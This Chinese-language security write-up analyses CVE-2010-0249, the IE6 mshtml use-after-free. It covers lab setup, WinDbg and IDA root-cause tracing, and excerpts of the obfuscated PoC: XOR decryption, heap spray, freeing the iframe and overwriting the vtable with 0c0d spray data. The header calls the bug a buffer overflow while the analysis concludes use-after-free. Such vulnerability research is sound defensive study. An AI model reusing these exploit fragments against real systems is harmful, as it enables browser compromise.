一 漏洞簡介
漏洞編號:CVE-2010-0249
危害等級:高危
漏洞類型:緩沖區溢出
操作系統:Windows 2000/XP/2003/Vista Gold/2008/7/
軟件名稱:Internet Explorer
軟件版本:6.0
漏洞模塊:mshtml.dll
模塊版本:6.0.2900.5512
二 環境配置
物理機(或者單獨開一個虛擬機作為服務端)開啟 IIS 服務作為網站服務器。
開啟 IIS
◆控制面板 — 程序和功能 — 啟用或關閉 Windows 功能
開啟 Internet Information Services:
開啟 Web 管理工具下所有選項;
開啟萬維網服務下所有選項。
開啟 .NET Frameword 3.5 下所有選項。
◆控制面板 — 管理工具 — Internet Information Services (IIS)管理器(注意不是6.0的那個)
計算機名 — 網站 — Default Web Site — 啟動(在最右邊) — 瀏覽 *:80(http) — 此時應可以正確訪問 windows 的測試網站。
Default Web Site — 右鍵 — 編輯綁定 — 添加 — IP地址填寫本機 IP — 端口這里使用 80。
此時會發現瀏覽器中可以使用訪問 localhost 訪問頁面,但無法使用剛才設置的 IP 訪問,其實是還需要配置入站規則。
筆者在操作到這一步時還遇到一個錯誤,提示文件夾XXX無法寫入,經檢查根本沒有這個文件夾,筆者根據提示手動創建了這個文件夾,并給與了 EveryOne 權限后不再提示該錯誤。
控制面板 — 防火墻 — 高級設置 — 入站規則 — 新建規則 — 端口 — 特定本地端口 — 80 — 允許連接 — 默認勾選域、專用、公用 — 名稱設置為 IIS 規則即可 — 完成(如果是在虛擬機里搞可以直接把防火墻關了就行)。
再次在瀏覽器使用 IP 訪問頁面可以發現已經可以正確訪問了,至此 IIS 已正確啟動,下面開始搭建本次使用的服務器。
Internet Information Services (IIS)管理器 — Default Web Site — 停止。
Internet Information Services (IIS)管理器 — 網站 — 添加網站 — 設置網站名稱 — 設置網站路徑 — 設置網站IP為本機IP — 設置端口為80 — 完成。
將 poc.html 文件拷貝到網站路徑中。
再次在瀏覽器使用 IP+poc.html 訪問頁面可以發現已經可以正確訪問。
安裝虛擬機
虛擬機使用 window xp sp3,建議從msdn下載鏡像自己安裝,筆者最開始用的別人做好的windows xp sp3 虛擬機 POC 無法正常運行,這里附上MSDN中的鏡像版本 Windows XP Professional with Service Pack 3 (x86) - CD (Chinese-Simplified)。
三 漏洞復現
啟動windbg并配置符號文件,使用 windbg 附加 IE 瀏覽器,執行 pochttp://192.168.0.113/Aurora.html?rFfWELUjLJHpP,等待windbg 斷在mshtml!CElement::GetDocPtr+0x2:處,需要注意該 poc 的堆噴射并非每次都可以成功,如未在此處斷下建議多嘗試幾次,如正確斷下則代表漏洞已復現成功,此時可在 windbg 中使用命令.dump -ma dumpfile.dmp將異常信息全部 dump 到文件中,dumpfile.dmp 文件保存在 windbg 軟件所在的目錄中。
四 漏洞分析
可以通過棧幀,回溯漏洞的調用流程。
0:000> k ChildEBP RetAddr 0012e358 7e44c4c8 mshtml!CElement::GetDocPtr+0x2 0012e37c 7e44c623 mshtml!CEventObj::GenericGetElement+0x9c 0012e38c 7e3af659 mshtml!CEventObj::get_srcElement+0x15 0012e3b0 7e2a8a23 mshtml!GS_IDispatchp+0x33 0012e430 7e2a88bf mshtml!CBase::ContextInvokeEx+0x462 0012e45c 75be1408 mshtml!CBase::InvokeEx+0x25 0012e494 75be1378 jscript!IDispatchExInvokeEx2+0xac
在 IDA 中查看地址 7e44c4c8 處代碼,因為異常斷在 7e278c85 處,所以顯然是 7E278C83 的mov eax[ecx]出現問題,因為這只是一條 mov 指令,所以異常必然是對 ecx 解引用導致的,也就是說此時 ecx 的值是非法地址,為了清晰的觀察 ecx 的值的傳遞過程,此時我們將 ecx 的值標記位 leak,我們倒著推一下 leak 這個值是怎么來的。
7E278C83 ?GetDocPtr@CElement@@QBEPAVCDoc@@XZ proc near 7E278C83 mov eax, [ecx] ; ecx = leak 7E278C85 call dword ptr [eax+34h] 7E278C88 mov eax, [eax+0Ch] 7E278C8B retn 7E278C8B ?GetDocPtr@CElement@@QBEPAVCDoc@@XZ endp
通過棧回溯,在IDA中跳轉到地址 7E44C4BE,此時我們容易推出下列結論,leak = [esi]。
7E44C4BE push ebx 7E44C4BF mov ebx, [esi] ; leak = [esi] 7E44C4C1 mov ecx, ebx ; ebx = leak 7E44C4C3 call ?GetDocPtr@CElement@@QBEPAVCDoc@@XZ ;ecx = leak 7E44C4C8 mov eax, [eax+14Ch] 7E44C4CE mov eax, [eax+2Ch] 7E44C4D1 mov ecx, [eax+20h] ; this
繼續向上回推,會發現 esi = [eax+n],eax = [ebp + var_8],此時我們暫且認為n為0,即 leak = [[eax]] = [[[ebp + var_8]]] 顯然接下來我們需要關注 var_8。

繼續向上推會發現其調用了函數 GetParam@CEventObj,而這個函數將 [ebp+var_8] 作為唯一參數,顯然我們需知道這個函數中是否對 [ebp+var_8] 的值進行了修改,因為是作為參數壓入了棧中,下面的代碼中我們需要關注的其實是 [ebp+8],通過簡單的代入可得到:[[參數1]] = this + 0x18。

回到調用 GetParam@CEventObj 函數處,可以輕松推導出 [[eax]] = this + 0x18,結合之前的推論 leak = [[[ebp + var_8]]],可得到最終推論 leak = [this+0x18]。

而函數 GenericGetElement 的 this 也就是 ecx 是由外界參數傳入的,也就是說這個地址是可控的。

五 POC分析
前置知識
◆setInterval:可按照指定的周期(以毫秒計)來調用函數或計算表達式,setInterval方法會不停地調用函數,直到 clearInterval被調用或窗口被關閉。window.setInterval(調用函數,延時時間)。
◆event.srcElement:可以捕獲當前事件作用的對象。
◆document.createElement:動態創建DOM元素并插入的已有的HTML中,函數接受一個HTML標簽名稱并返回Element 類型的新節點。
◆unescape:可對通過 escape() 編碼的字符串進行解碼。
POC解密
為了便于分析,我們不希望程序直接被執行,而是想看一下解密后的代碼是什么,而解密后的代碼保存在變量“NqxAXnnXiILOBMwVnKoqnbp”里面,我們可以先將上述代碼注釋掉,在它上面添加這樣的一行代碼,這里結合console.log() 方法可以將解密后的內容在控制臺輸出,使用瀏覽器執行這個網頁文件,打開開發者模式中的控制臺就可以看到解密后的內容了。
var vuWGWsvUonxrQzpqgBXPrZNSKRGee = location.search.substring(1);
var NqxAXnnXiILOBMwVnKoqnbp = '';
for (i=0;i<RXb.length;i++) {
NqxAXnnXiILOBMwVnKoqnbp += String.fromCharCode(RXb.charCodeAt(i) ^ vuWGWsvUonxrQzpqgBXPrZNSKRGee.charCodeAt(i%vuWGWsvUonxrQzpqgBXPrZNSKRGee.length));
}
console.log(NqxAXnnXiILOBMwVnKoqnbp);
//window["eval".replace(/[A-Z]/g,"")](NqxAXnnXiILOBMwVnKoqnbp);
逐步分析
1.onload 中調用 WisgEgTNEfaONekEqaMyAUALLMYW(event)
<span id="vhQYFCtoDnOzUOuxAflDSzVMIHYhjJojAOCHNZtQdlxSPFUeEthCGdRtiIY">
<iframe src="/infowTVeeGDYJWNfsrdrvXiYApnuPoCMjRrSZuKtbVgwuZCXwxKjtEclbPuJPPctcflhsttMRrSyxl.gif" onload="WisgEgTNEfaONekEqaMyAUALLMYW(event)" />
</span>
2.該函數中分別執行了堆噴射、創建事件對象、釋放iframe、延時調用
function WisgEgTNEfaONekEqaMyAUALLMYW(cpznAZhGdtOhTCNSVGLRdYeEfCAPKMeztpQnoKTGKsjrhhkoxCWPz)
{
gGyfqFvCYPRmXbnUWzBrulnwZVAJpUifKDiAZEKOqNHrfziGDtUOBqjYCtATBhClJkXjezUcmxBlfEX(); //堆噴射
lTneQKOeMgwvXaqCPyQAaDDYAkd =
document.createEventObject(cpznAZhGdtOhTCNSVGLRdYeEfCAPKMeztpQnoKTGKsjrhhkoxCWPz); //此處將事件對象創建了一份(引用計數加一)
document.getElementById("vhQYFCtoDnOzUOuxAflDSzVMIHYhjJojAOCHNZtQdlxSPFUeEthCGdRtiIY").innerHTML = ""; //此處釋放 iframe
window.setInterval(nayjNuSncnxGnhZDJrEXatSDkpo, 50);//延時調用,訪問已經被釋放的內存
}
3.重點在延時調用的函數,在這個函數中覆蓋了虛表指針,導致再接下來的調用時
function nayjNuSncnxGnhZDJrEXatSDkpo(){
p = "\u0c0f\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
for (i = 0; i < MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul.length; i++)
{
MeExIMbufEWBILnRFpImyxRTWGErClypbeBtzPrAICchTufmJXuziChiul[i].data = p; //將全局對象中的數據改為 0c0d0c0d(覆蓋虛表指針)
}
var t = lTneQKOeMgwvXaqCPyQAaDDYAkd.srcElement; //獲取一個已經置空了的對象
}
六 漏洞原理
盡管已經定位到了導致崩潰的位置以及函數的調用情況,但是我們還是要進一步探索出現漏洞的根本原因的,所以有必要研究一下IE瀏覽器在解析這個PoC網頁的時候到底出現了什么情況。
通過剛才的分析我們知道,程序一開始調用了document.createEventObject為當前的event事件創建一個副本,因此我們不妨使用WinDbg的x命令來檢查調試符號,這里可以找到兩條結果,其中地址為0x7e216b2c的內容通過IDA查看,發現它是一種數據結構,所以程序只可能使用CDocument::createEventObject用于解析JavaScript代碼中的document.createEventObject函數。所以不妨在IDA中來到0x7e383b3b位置分析一下副本的創建方式。來到該函數的末尾,可以發現它的主要功能是由CEventObj::Create來實現的。
0:000> x mshtml!*document*createEventObject* 7e216b2c mshtml!s_methdescCDocumentcreateEventObject = <no type information> 7e383b3b mshtml!CDocument::createEventObject (<no parameter info>)
在IDA中跳轉到 7e383b3b,轉換為偽代碼后可以發現,實際調用的是 CEventObj::Create。
int __userpurge CDocument::createEventObject@<eax>(
GUID *a1@<esi>,
CDocument *this,
struct tagVARIANT *a3,
struct IHTMLEventObj **a4)
{
v8 = CDocument::Doc(this);
v9 = 0;
if ( a4 )
{
......
v7 = v9;
v5 = CDocument::Markup(this);
v4 = CEventObj::Create((int)a1, a4, v8, 0, v5, 0, 0, v7, 0);
return CBase::SetErrorInfo(this, v4);
}
v4 = -2147024809;
return CBase::SetErrorInfo(this, v4);
}
在 CEventObj::Create 中在申請堆空間后,會調用函數 EVENTPARAM::EVENTPARAM。
int __userpurge CEventObj::Create@<eax>(
int a1@<esi>,struct IHTMLEventObj **a2,struct CDoc *a3,struct CElement *a4,struct CMarkup *a5,
int a6,unsigned __int16 *a7,struct EVENTPARAM *a8,int a9)
{
......
if ( !v24 )
{
if ( a6 )
{
if ( !a8 )
goto LABEL_12;
v20 = (EVENTPARAM *)_MemAlloc(0xD8u);
if ( v20 )
v21 = EVENTPARAM::EVENTPARAM(v20, a8);//調用函數 EVENTPARAM::EVENTPARAM
else
v21 = 0;
*((_DWORD *)v12 + 6) = v21;
if ( v21 )
{
*((_DWORD *)v21 + 34) = v12;
goto LABEL_12;
}
}
else
{
v18 = (EVENTPARAM *)_MemAlloc(0xD8u);
if ( v18 )
v19 = EVENTPARAM::EVENTPARAM(v18, a3, a4, a5, a8 == 0, 0, a8);
else
v19 = 0;
*((_DWORD *)v12 + 6) = v19;
......
}
在分析 EVENTPARAM::EVENTPARAM 函數前先補充一下 EVENTPARAM 結構的知識。
CEventObj +x04 _pparam; //EVENTPARAM * struct EVENTPARAM +x00 _pNode; // src element(CTreeNode) +x04 _pNodeFrom // for move,over,out +x08 _pNodeTo // for move,over,out
分析函數 EVENTPARAM::EVENTPARAM 可以看到,這個函數將參數二的數據拷貝到 this指針處,但是請注意,參數二中還包含著一個叫做CTreeNode的對象結構體,此處將CTreeNode對象拷貝,但是沒有將CTreeNode的引用計數加一。
EVENTPARAM *__thiscall EVENTPARAM::EVENTPARAM(EVENTPARAM *this, const struct EVENTPARAM *a2)
{
......
qmemcpy(this, a2, 0xD8u); //內存拷貝
v3 = *((_DWORD *)this + 25);
*((_BYTE *)this + 169) &= ~4u;
......
return this;
}
我們已經弄清了漏洞的成因,所以我們嘗試在windbg中觀察漏洞的形成過程,看看事件對象是如何創建和保存的。其實在mshtml模塊中是存在有一個用于創建不同元素的函數表的,它的地址是 7e21aa98。

在這個函數表中我們可以找到創建IFrame的函數,它的地址是 7E21ADC0。

回到虛擬機中在函數上下斷點。
bu mshtml!CIFrameElement::CIFrameElement
這里所獲取的CIFrameElement對象指針會保存在ecx寄存器中(利用IDA結合上下調用關系可以得知),也就是地址為0x01ca1710的位置,但由于現在還沒有開始創建,因此這個地址中并沒有內容。

然后我們在CTreeNode上也下一個斷點,并通過棧回溯來觀察一下。
bu mshtml!CTreeNode::CTreeNode
在這里,CTreeNode已經將剛才的CIFrameElement對象指針當作自己的第二個參數使用了。同時利用CTreeNode::SetElement函數將CIFrameElement類與CTreeNode相關聯。此時可以再看一下0x01ca1710中的內容并進行解引用:

此時查看 7e25bc68 處可以看到,該指針最終指向的是“vftable”。
0:000> u 7e25bc68 mshtml!CIFrameElement::`vftable': 7e25bc68 bf002d7ecd mov edi,0CD7E2D00h 7e25bc6d a5 movs dword ptr es:[edi],dword ptr [esi] 7e25bc6e 27 daa 7e25bc6f 7e1a jle mshtml!CIFrameElement::`vftable'+0x23 (7e25bc8b) 7e25bc71 8c27 mov word ptr [edi],fs 7e25bc73 7e6d jle mshtml!CIFrameElement::`vftable'+0x7a (7e25bce2) 7e25bc75 df2e fild qword ptr [esi] 7e25bc77 7e3d jle mshtml!CIFrameElement::`vftable'+0x4e (7e25bcb6)
如果在我們之前提取出來的dump文件中,查看原本指向虛表的指針,即0x01ca1710位置,則可以看到如下數據:
0:000> dd 01ca1710 01ca1710 0c0d0c0d 0c0d0c0d 0c0d0c0d 0c0d0c0d 01ca1720 0c0d0c0d 0c0d0c0d 0c0d0c0d 0c0d0c0d 01ca1730 0c0d0c0d 0c0d0c0d 00000000 00000000 01ca1740 00000054 0c0d0c0f 0c0d0c0d 0c0d0c0d 01ca1750 0c0d0c0d 0c0d0c0d 0c0d0c0d 0c0d0c0d 01ca1760 0c0d0c0d 0c0d0c0d 0c0d0c0d 0c0d0c0d 01ca1770 0c0d0c0d 0c0d0c0d 0c0d0c0d 0c0d0c0d 01ca1780 0c0d0c0d 0c0d0c0d 0c0d0c0d 0c0d0c0d
七 分析結論
在創建CEventObj時,會創建EVENTPARAM結構,如果新創建的CEventObj是從已有的CEventObj繼承而來時,則這兩個CEventObj事件的源相同。在新創建的EVENTPARAM結構的偏移0處的元素pNode(CTreeNode),將復制源CEventObj該處的值。
在補丁前,上述過程沒有增加CTreeNode的引用計數,在精心構造的html中,有可能導致CTreeNode已經釋放,而EVENTPARAM的pNode卻仍然指向它,導致釋放后重用。
補丁后,在EVENTPARAM::EVENTPARAM中,對上述情況作了處理,增加CTreeNode的引用計數,不會再導致問題。
一顆小胡椒
E安全
GoUpSec
FreeBuf
一顆小胡椒
安全牛
我的安全夢
一顆小胡椒
一顆小胡椒
007bug
007bug